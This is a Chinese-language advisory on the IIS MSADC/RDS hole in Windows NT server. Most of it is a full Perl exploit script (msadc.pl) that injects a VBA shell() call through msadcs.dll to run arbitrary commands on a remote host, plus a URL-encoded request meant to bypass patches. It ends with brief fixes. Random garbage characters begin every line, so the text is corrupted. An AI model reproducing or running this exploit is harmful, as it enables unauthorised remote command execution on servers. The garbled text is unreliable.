IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
w%jII{@, ,R*
]>' 涉及程序:
p6!x=cW Microsoft NT server
sS'm!7*(3 T}v4*O., 描述:
<}9lZEqY 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
[5Mr@f4I ~U&AI1t+J 详细:
[?N~s:} 如果你没有时间读详细内容的话,就删除:
Cjlk c:\Program Files\Common Files\System\Msadc\msadcs.dll
~dTrf>R8M 有关的安全问题就没有了。
x7<K<k;s e8?jmN`2 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
l}A93jSL M&9+6e'-F 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
60?%<oJ oH 关于利用ODBC远程漏洞的描述,请参看:
tW}'g:s
_
*Pf http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm +Q"4Migbe@ VQOezQs\ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
>@
. http://www.microsoft.com/security/bulletins/MS99-025faq.asp &Hs!:43E-< 3{sVVq5Y 这里不再论述。
T'Dv.h _ZSR.w}j/ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
^WWQI+pk ^RIl /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
U26}gT) 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
5vnrA'BhBU ~6LN6}~|. z 1X` o #将下面这段保存为txt文件,然后: "perl -x 文件名"
<*cikXS LG#t<5y~ #!perl
{9.|2%a #
suDQ~\n # MSADC/RDS 'usage' (aka exploit) script
hf&9uHN%7m #
f
x+/C8GK # by rain.forest.puppy
CB}2j #
SSMHoJGm # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
J)p
l|I # beta test and find errors!
@_}P-h j3E7zRm] \ use Socket; use Getopt::Std;
LyFN.2qw getopts("e:vd:h:XR", \%args);
kc`Tdn 1tFNM[R
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
:&."ttf= tf`^v6m%] if (!defined $args{h} && !defined $args{R}) {
ds[| print qq~
g}(L;fy>7 Usage: msadc.pl -h <host> { -d <delay> -X -v }
!%%6dB@%t -h <host> = host you want to scan (ip or domain)
Se =`N -d <seconds> = delay between calls, default 1 second
,.FxIl] -X = dump Index Server path table, if available
t'k$&l}+ -v = verbose
3AN/
H -e = external dictionary file for step 5
XUuN )i |Ds1 Or a -R will resume a command session
-m~#Bq PALc;"]O ~; exit;}
:,6\"y- >}6%#CAf $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
draN0vf if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
wNd isI if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
PB\x3pV!} if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
u.xnO cOH! $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
s?L if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
B:'US&6Lf' 1#+S+g@# if (!defined $args{R}){ $ret = &has_msadc;
YS"=yye3e die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
v):Or'$~M ;>7De8v@@ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Q*~]h;6\{d . "cmd /c ";
w~qT1vCCN $in=<STDIN>; chomp $in;
Vs!Nmv` $command="cmd /c " . $in ;
/f;~X"! t;\Y{` if (defined $args{R}) {&load; exit;}
K J4.4Zq{c P( 8OQL: print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Qq|57X)P* &try_btcustmr;
f(MO_Sj] Q hO!Ma] print "\nStep 2: Trying to make our own DSN...";
YT(AUS5n &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
BLD gt~h# |Z += print "\nStep 3: Trying known DSNs...";
=Jb>x#Y &known_dsn;
%n9aaoD JIq=* ' print "\nStep 4: Trying known .mdbs...";
Z/+#pWBI! &known_mdb;
6(ol1
(U oYH-wQ j if (defined $args{e}){
JZyAXm% print "\nStep 5: Trying dictionary of DSN names...";
$*fMR,~t& &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
|@4' <4t
7hPY_W
y print "Sorry Charley...maybe next time?\n";
zy
}$i? exit;
sd|).;s} r*Ca}Z ##############################################################################
+QJ#2~pE eehb1L2(b sub sendraw { # ripped and modded from whisker
5$C-9 sleep($delay); # it's a DoS on the server! At least on mine...
T9[Q my ($pstr)=@_;
U-M>=3|N socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
+52{-a,> die("Socket problems\n");
-nV9:opD if(connect(S,pack "SnA4x8",2,80,$target)){
oNF6<A(@$ select(S); $|=1;
pFjK}JOF print $pstr; my @in=<S>;
*J`O"a select(STDOUT); close(S);
/9fR'EO{x return @in;
1iF1GkLEq } else { die("Can't connect...\n"); }}
pYf-S?Y/V =D"#U#>;7& ##############################################################################
{bY%# m h@ryy\9 sub make_header { # make the HTTP request
Qt<&WB
fn my $msadc=<<EOT
$(x] POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
nAdf=D'P User-Agent: ACTIVEDATA
|&i<bqLw: Host: $ip
u]UOSf n Content-Length: $clen
g[4WzDF* Connection: Keep-Alive
_X
x/(.O :d'8x ADCClientVersion:01.06
L.JT[zOfb Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
e+fN6v5pU 1bwOmhkS --!ADM!ROX!YOUR!WORLD!
C$`tbq Content-Type: application/x-varg
3/eca Content-Length: $reqlen
/N.U/MPL_ 5`p.#
EOT
\qJXF|z<K ; $msadc=~s/\n/\r\n/g;
d8P^lv*rQW return $msadc;}
|P?*5xPB `r 3 ##############################################################################
.(k|wX[Fu~ %d9uTm; sub make_req { # make the RDS request
eTcd"Kd/ my ($switch, $p1, $p2)=@_;
Cq~dp/V my $req=""; my $t1, $t2, $query, $dsn;
{E|$8)58i (TT}6j if ($switch==1){ # this is the btcustmr.mdb query
\ @2R9,9E $query="Select * from Customers where City=" . make_shell();
pOoEI+t $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
DZtsy!xA $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
;Q`lNFa a0H+.W+] elsif ($switch==2){ # this is general make table query
]3Sp W{=^( $query="create table AZZ (B int, C varchar(10))";
7WzxA=*# $dsn="$p1";}
7;@]t^d=$ 8zW2zkv2|# elsif ($switch==3){ # this is general exploit table query
+9sQZB# ( $query="select * from AZZ where C=" . make_shell();
<lJ345Q $dsn="$p1";}
l9Q-iJ N4TV elsif ($switch==4){ # attempt to hork file info from index server
(X*^dO $query="select path from scope()";
:?1Dko^ $dsn="Provider=MSIDXS;";}
8'y$M] e9n 0?|<I{z2 elsif ($switch==5){ # bad query
NL+N%2XG7 $query="select";
}W^A*]X $dsn="$p1";}
('+d.F[109 F#5~M<`.o $t1= make_unicode($query);
K_}K@' $t2= make_unicode($dsn);
>Y@H4LF;1x $req = "\x02\x00\x03\x00";
h^P#{W!e\ $req.= "\x08\x00" . pack ("S1", length($t1));
tw)mepwB $req.= "\x00\x00" . $t1 ;
^E>3|du]O $req.= "\x08\x00" . pack ("S1", length($t2));
-X6PRE5a2 $req.= "\x00\x00" . $t2 ;
W=+ Y|R! $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
b4Ekqas return $req;}
6[AL|d
DK qwAT>4 ##############################################################################
nQ3A~ () &q*Aj17 sub make_shell { # this makes the shell() statement
l,aay-E return "'|shell(\"$command\")|'";}
.O<obq~;C $M:*T.3 ##############################################################################
C\hM =% i SQu#p@ sub make_unicode { # quick little function to convert to unicode
B^}yo65I my ($in)=@_; my $out;
{R{=+2K!|k for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
_Y m2/3! return $out;}
v4 E}D j3ls3H& ##############################################################################
0jWVp-y 4E}Yt$| sub rdo_success { # checks for RDO return success (this is kludge)
-m#)B~) my (@in) = @_; my $base=content_start(@in);
SUK?z!f<i if($in[$base]=~/multipart\/mixed/){
pT6$DB# return 1 if( $in[$base+10]=~/^\x09\x00/ );}
=($xG#g` return 0;}
,|/f`Pl X2'0PXv>! ##############################################################################
&mM0AA'\?H 7F~X,Dk_ sub make_dsn { # this makes a DSN for us
?:9"X$XR my @drives=("c","d","e","f");
1X1dG#: print "\nMaking DSN: ";
*|HY>U. foreach $drive (@drives) {
eS){1 print "$drive: ";
lH~[f my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
*lJxH8 \ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
J]r^W)O . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
bpa?C $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
u: return 0 if $2 eq "404"; # not found/doesn't exist
|k00Z+O( if($2 eq "200") {
z\4.Gm- foreach $line (@results) {
`uTmw^pZX return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
1G`Pmh@ } return 0;}
f*
wx< fI|$K)K ##############################################################################
+ LJ73
! 4?01s-Y sub verify_exists {
L-&\\{X my ($page)=@_;
&uVnZ@o42 my @results=sendraw("GET $page HTTP/1.0\n\n");
5#z1bu return $results[0];}
ZYNsHcTY M
D#jj3y ##############################################################################
AQ^u a$fnh3j[ sub try_btcustmr {
#T"4RrR my @drives=("c","d","e","f");
:Llb< MY2 my @dirs=("winnt","winnt35","winnt351","win","windows");
)Q JUUn# V|R,!UND foreach $dir (@dirs) {
(^>J&[= print "$dir -> "; # fun status so you can see progress
B`sAk
% foreach $drive (@drives) {
?gXp*>Kg[ print "$drive: "; # ditto
a,o*=r $reqlen=length( make_req(1,$drive,$dir) ) - 28;
pTuS*MYz $reqlenlen=length( "$reqlen" );
QTnP'5y $clen= 206 + $reqlenlen + $reqlen;
ksm~<;td ,`sv1xwd my @results=sendraw(make_header() . make_req(1,$drive,$dir));
I(
Mm?9F if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
yWf`rF{ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
zKK9r~ M HK%7g ##############################################################################
l%=; MpOc sub odbc_error {
V]?R>qhgu my (@in)=@_; my $base;
l}P=/#</T my $base = content_start(@in);
|1Z)E+q*: if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
3__-nV $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/zox$p$?h $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
EiaW1Cs $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{2gwk8 return $in[$base+4].$in[$base+5].$in[$base+6];}
,/U6[P_C5 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
:~SyL ! print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
J9 I:Q<; $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
_(zG?]y0P WfRXP^a ##############################################################################
3iU=c&P DW3G sub verbose {
og>uj>H& my ($in)=@_;
4I(Xy]wm return if !$verbose;
CNx8]
_2 print STDOUT "\n$in\n";}
BL4-7 _WbxH ##############################################################################
|V7*l1 (QiAisE sub save {
O.JN ENZf my ($p1, $p2, $p3, $p4)=@_;
H0cA6I open(OUT, ">rds.save") || print "Problem saving parameters...\n";
%SUQ9\SEs print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
o,wUc"CE close OUT;}
;9'OOz|+1 'E.w=7z& ##############################################################################
f<6lf7qzC /<BI46B\ sub load {
*n"{J(Jt` my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
A_UjC` open(IN,"<rds.save") || die("Couldn't open rds.save\n");
8JUwf @p=<IN>; close(IN);
4`=mu}Y2 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
`qwBn= $target= inet_aton($ip) || die("inet_aton problems");
+W+|%qM,\ print "Resuming to $ip ...";
D3K8F@d $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
<\S:'g"( if($p[1]==1) {
xd0 L{ue. $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
k|f4Cf, $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
%N_%JK\{@ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
{f p[BF if (rdo_success(@results)){print "Success!\n";}
^dxTm1Z else { print "failed\n"; verbose(odbc_error(@results));}}
Wn}'bqp elsif ($p[1]==3){
xe$_aBU if(run_query("$p[3]")){
,"0:3+(8; print "Success!\n";} else { print "failed\n"; }}
EB|}fz elsif ($p[1]==4){
S5EK~#-L[ if(run_query($drvst . "$p[3]")){
?Ss!e$jf print "Success!\n"; } else { print "failed\n"; }}
]J]h#ZHx exit;}
PmM3]xVzd kAGBdaJ" ##############################################################################
Jfl!#UAD|n 6-ils3& sub create_table {
<=C?e<Y my ($in)=@_;
@=f\<"$vt $reqlen=length( make_req(2,$in,"") ) - 28;
3irl
(;v $reqlenlen=length( "$reqlen" );
'/%H3A#L $clen= 206 + $reqlenlen + $reqlen;
H" 7u7l my @results=sendraw(make_header() . make_req(2,$in,""));
=H]@n|$( return 1 if rdo_success(@results);
2I{"XB my $temp= odbc_error(@results); verbose($temp);
Oa>Ppldeg return 1 if $temp=~/Table 'AZZ' already exists/;
mB)bcuPv return 0;}
h!9ei6 ygl0k \ ##############################################################################
dUdT7ixo T&7qC=E#5 sub known_dsn {
I1&aM}y{G # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
{BU;$ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
+x}<IS8 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
.6 ?U@2 "banner", "banners", "ads", "ADCDemo", "ADCTest");
g<
.qUBPKX 13/]DF,S"^ foreach $dSn (@dsns) {
P{^6v=8) print ".";
o#1 $q`Z next if (!is_access("DSN=$dSn"));
Eu04e N if(create_table("DSN=$dSn")){
seeBS/% print "$dSn successful\n";
^T-V^^#( if(run_query("DSN=$dSn")){
'@P^0+B!(. print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
b5n'=doR/I print "Something's borked. Use verbose next time\n";}}} print "\n";}
lsNd_7k iO;
7t@]- ##############################################################################
FJ?IUy 6 Q#zmf24W sub is_access {
SMK_6?MZ my ($in)=@_;
e\75:oQ $reqlen=length( make_req(5,$in,"") ) - 28;
;i:d+!3XwC $reqlenlen=length( "$reqlen" );
RViuJ; $clen= 206 + $reqlenlen + $reqlen;
}*"p?L^p{ my @results=sendraw(make_header() . make_req(5,$in,""));
;gr9/Vl my $temp= odbc_error(@results);
IIx#2r verbose($temp); return 1 if ($temp=~/Microsoft Access/);
uY'HT|@:{ return 0;}
^K@C"j?M/ ` sU/& P ##############################################################################
,$&&-p I] @Do= k sub run_query {
;sFF+^~L my ($in)=@_;
VVOd]2{ $reqlen=length( make_req(3,$in,"") ) - 28;
3sZ\0P} $reqlenlen=length( "$reqlen" );
,s;UfF $clen= 206 + $reqlenlen + $reqlen;
5l*&>C[(i my @results=sendraw(make_header() . make_req(3,$in,""));
=_u4=4 return 1 if rdo_success(@results);
3=ymm^ my $temp= odbc_error(@results); verbose($temp);
u> 7=AlWF- return 0;}
9'q*:&qq N ZSSg2TX# ##############################################################################
UFuX@Lu0 .kfIi^z sub known_mdb {
bA->{OPkT my @drives=("c","d","e","f","g");
45>?o my @dirs=("winnt","winnt35","winnt351","win","windows");
{Y9q[D'g . my $dir, $drive, $mdb;
!g2+w$YVa my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
sD wqH.L lHX72s|V # this is sparse, because I don't know of many
8}UIbF my @sysmdbs=( "\\catroot\\icatalog.mdb",
1|wL\I "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
f&
' "\\system32\\certmdb.mdb",
N] sAji* "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
I,8Er2;) HyWCMK6b my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
?6Y?a2 | "\\cfusion\\cfapps\\forums\\forums_.mdb",
D}/vLw :v "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
\)|hogI|f "\\cfusion\\cfapps\\security\\realm_.mdb",
!C:$?oU "\\cfusion\\cfapps\\security\\data\\realm.mdb",
|$b}L7_ "\\cfusion\\database\\cfexamples.mdb",
ekCC5P! "\\cfusion\\database\\cfsnippets.mdb",
#;nYg?d= "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
[cp+i^f "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
J/*`7Pd "\\cfusion\\brighttiger\\database\\cleam.mdb",
n?Nt6U "\\cfusion\\database\\smpolicy.mdb",
92KRb;c "\\cfusion\\database\cypress.mdb",
}`~+]9< "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
|
%Vh`HT "\\website\\cgi-win\\dbsample.mdb",
}pu27F)& "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
LFtt gY "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
%bfQ$a: ); #these are just
<UQbt N-B\ foreach $drive (@drives) {
C~iL3Cb foreach $dir (@dirs){
Dm<A
^u8 foreach $mdb (@sysmdbs) {
HA>OkA/ print ".";
n7-6-
# if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
<e</m)j print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
y
h9*z3 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
9qG6Pb print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
BF{Y"8u$ } else { print "Something's borked. Use verbose next time\n"; }}}}}
b1?'gn~ S|`o]?nc> foreach $drive (@drives) {
dlTt_. foreach $mdb (@mdbs) {
) hfpwdQ print ".";
u4h4.NHX if(create_table($drv . $drive . $dir . $mdb)){
<W $mj04@ print "\n" . $drive . $dir . $mdb . " successful\n";
Z?m3~L9L2 if(run_query($drv . $drive . $dir . $mdb)){
`+Q%oj#FF print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
WI-1)1t } else { print "Something's borked. Use verbose next time\n"; }}}}
:Fvrs(
x }
jtc]>]6i j eP ##############################################################################
hZ `RL"AH:+ sub hork_idx {
0Z{ZO*rK print "\nAttempting to dump Index Server tables...\n";
:&9s,l print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
X_\otVh(D $reqlen=length( make_req(4,"","") ) - 28;
x+@rg];m $reqlenlen=length( "$reqlen" );
,1o FPa{? $clen= 206 + $reqlenlen + $reqlen;
DN5 7p!z my @results=sendraw2(make_header() . make_req(4,"",""));
b}TS0+TF if (rdo_success(@results)){
}?Ai87-{ my $max=@results; my $c; my %d;
-C?ZB}` for($c=19; $c<$max; $c++){
L0WN\|D $results[$c]=~s/\x00//g;
b!5~7Ub.No $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
XuM'_FN`A< $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
:E )>\& $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
*YuF0Yt $d{"$1$2"}="";}
9m~p0 ILh foreach $c (keys %d){ print "$c\n"; }
*wB1,U{ } else {print "Index server doesn't seem to be installed.\n"; }}
5taT5?n2
7\Y0z ##############################################################################
P?of<i2E ExL0?FemWV sub dsn_dict {
L>4"( open(IN, "<$args{e}") || die("Can't open external dictionary\n");
i6Emhji while(<IN>){
LuvY<~u $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
(V67`Z ) next if (!is_access("DSN=$dSn"));
.jjG(L if(create_table("DSN=$dSn")){
JYbL?N print "$dSn successful\n";
tG22#F` if(run_query("DSN=$dSn")){
[%1CRk print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
%2V? ,zY@ print "Something's borked. Use verbose next time\n";}}}
K^<BW(s print "\n"; close(IN);}
+*/Zu`kzX z/@slT ##############################################################################
9Y_HyOZ*GX A@{PZ sub sendraw2 { # ripped and modded from whisker
PP33i@G sleep($delay); # it's a DoS on the server! At least on mine...
>V8-i` my ($pstr)=@_;
)cMh0SGcM1 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
-**g~ty) die("Socket problems\n");
LIF7/$,0 if(connect(S,pack "SnA4x8",2,80,$target)){
)W
_v:?A9 print "Connected. Getting data";
68C%B9.b' open(OUT,">raw.out"); my @in;
|"CZ T# select(S); $|=1; print $pstr;
ud@%5d while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
<&g,Nc'5C close(OUT); select(STDOUT); close(S); return @in;
EaY?aAuS: } else { die("Can't connect...\n"); }}
ra
g Xn O`t&ldU ##############################################################################
]Wlco p}pjfG sub content_start { # this will take in the server headers
eF-."1 my (@in)=@_; my $c;
qHlQ+:n for ($c=1;$c<500;$c++) {
. ~~T\rmI if($in[$c] =~/^\x0d\x0a/){
"CQa.% if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
=wV<hg)C else { return $c+1; }}}
m'=Crei return -1;} # it should never get here actually
e)?
.r9pA; a![{M<Y~ ##############################################################################
IDriGZZ<)6 h_,i&d@( sub funky {
j@3Q;F0ba my (@in)=@_; my $error=odbc_error(@in);
r1{@Ucw2 if($error=~/ADO could not find the specified provider/){
">,|V-H print "\nServer returned an ADO miscofiguration message\nAborting.\n";
DgQpHF exit;}
+.b,AqJ/ if($error=~/A Handler is required/){
.2Elr(&*h print "\nServer has custom handler filters (they most likely are patched)\n";
3<f}nfB%r? exit;}
u(F_oZ~ if($error=~/specified Handler has denied Access/){
9ZsVy print "\nServer has custom handler filters (they most likely are patched)\n";
w4{<n/" exit;}}
paE[rS\ 3J|F?M"N7 ##############################################################################
nRZ]z( b 4-y:/8 sub has_msadc {
By",rD- r my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
RmeD$>7 my $base=content_start(@results);
SBk4_J/_ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
u$Jz~:=, return 0;}
j[G Y0dEH^I ########################
x,@B(9No Zbt.t]N V]e 8a"/[{ 解决方案:
Eib5 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
/cQueUME` 2、移除web 目录: /msadc